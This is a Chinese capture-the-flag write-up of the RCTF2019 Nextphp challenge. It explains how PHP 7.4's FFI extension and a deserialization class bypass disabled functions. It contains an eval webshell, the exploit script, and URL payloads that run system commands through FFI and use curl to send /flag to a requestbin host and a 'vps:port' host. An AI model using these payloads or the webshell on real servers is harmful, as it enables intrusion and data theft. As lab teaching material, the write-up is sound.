[RCTF2019]Nextphp

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

非常简洁的页面:包禁了好多函数的直接phpinfo():(禁用的函数)

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl	set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

肯定是无法进行直接的rce了:

看向php版本:

1
PHP Version 7.4.0-dev

发现指针里面有个FFI support———–enabled(开启)

上网搜索FFi:

FFI:

FFI(Foreign Function Interface),即外部函数接口 是 php7.4 出的一个扩展,提供了高级语言直接的相互调用。

优点:

    没有FFI的的时候,传统的方式,当我们需要用一些已有的C语言的库的能力的时候,我们需要用C语言写wrapper,把他们包装成扩展,这个过程中就需要大家去学习PHP的扩展怎么写,当然现在也有一些方便的方式,比如Zephir. 但总还是有一些学习成本的,而有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了

    FFI可以让我们更加方便的调用C语言积累的大量的优秀的库,享受这个庞大的资源

缺点:

    在PHP里,FFI允许加载动态链接库 (之前一篇文章 LD_PRELOAD 劫持里有讲到),调用底层c语言的一些函数。而且与以往的传统调用C语言库的方式不同,它能够直接在php脚本中调用C语言库中的函数。 因此 FFI 扩展是十分危险的,如果被不当利用,可以直接调用底层c库中命令执行函数从而完全绕过 php 层面上的限制。

    因此,也可用来 bypass disable_function 。挺有意思

so文件是linux下向当于windows下的dll文件,linux下的程序函数库,即编译好的可以供 其他程序使用的源码和数据,即动态链接库

1
2
3
4
1.so后缀就是动态链接库的文件名。
2.export LD_PRELOAD=***是修改LD_PRELOAD的指向加载so文件
3.我们自定义替换的函数必须适合原函数相同,包括类型和参数。
4,还原LD_PRELOAD的最初的指向命令为:unset LD_PRELOAD

*libc.so.6 是默认的动态链接函数库*

启用FFI需要:

  • - 使用FFI需要启用PHP7.4配置中的ext/ffi,在 php.ini 中去掉 extension=ffi 前面的 ;
    - PHP-FFI要求libffi-3以上
    - ffi.enable=true
    
    1
    2
    3
    4
    5
    6
    7

    基本上FFI就是在预处理函数,可以使用c数据库里的函数

    题解:

    先是可以用print_r(scandir('.'));看看有什么函数发现

    Array ( [0] => . [1] => .. [2] => index.php [3] => preload.php )
    1
    2
    3
    4
    5
    6
    7

    有个preload.php

    那么就可以写个🐎蚁剑下载源码:

    ```php
    file_put_contents('shell.php','<?php eval($_POST["shell"]); ?>');

preload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

很明显是php反序列化(老多魔术方法可以调用了):

run函数代码:

1
$this->data['ret'] = $this->data['func']($this->data['arg']);

在 preload.php 里引进了 php7.4以上的两个魔术方法 __serialize() 和 __unserialize()

php7.4版本的说明:

1
2
3
4
5
PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持__sleep()和__wakeup()。

当类的实例对象被序列化时将自动调用serialize方法,并且不会调用 __construct()或有其他影响。如果对象实现理Serialize接口,接口的serialize()方法将被忽略,并使用__serialize()代替。

当类的实例对象被反序列化时,将调用unserialize()方法,并且不执行__destruct()。如果对象实现理Serialize接口,接口的unserialize()方法将被忽略,并使用__unserialize()代替。

构造 执行流程为:

1
调用 A::unserialize(), payload参数为我们构造好的恶意data数组的序列化数据. 执行 $this->data = unserialize($payload); 设置好 $this-data为构造好的恶意data数组  -->  执行 $this->run(), 生成FFI对象 给了 $this->data['ret']  --> __serialize()会返回$this->data,可以加上['ret'] 表示FFI对象,再->system("cmd"); 调用c语言system函数执行命令

注:我们在写exp的时候,删掉没有必要的魔术方法 以及前面提到的 __serialize()和

因为 __serialize()存在的话,serialize构造好的类实例对象就不会调用serialize(). $this->data就不会再进行一下serialize再返回。因此 我们执行过程中第一步的参数 payload 就不会是恶意data数组序列化数据。
exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);' //声明
];

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
}

}

$a = new A();
echo serialize($a);

payload1(数据 外带)(推荐网站:https://webhook.site/):

1
?a=$a=unserialize(base64_decode("QzoxOiJBIjo5Nzp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czozNDoiaW50IHBocF9leGVjKGludCB0eXBlLCBjaGFyICpjbWQpOyI7fX0="));var_dump($a->ret->php_exec(2,%27curl%20http://http.requestbin.buuoj.cn/1f4vjz01?a=`cat%20/flag`%27));

payload2(这个是上面的解释的续版)(也算是数据外带的吧):

1
/?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:port');

参考链接:https://ctf.ieki.xyz/buuoj/rctf-2019.html

https://blog.csdn.net/weixin_63231007/article/details/129105223fei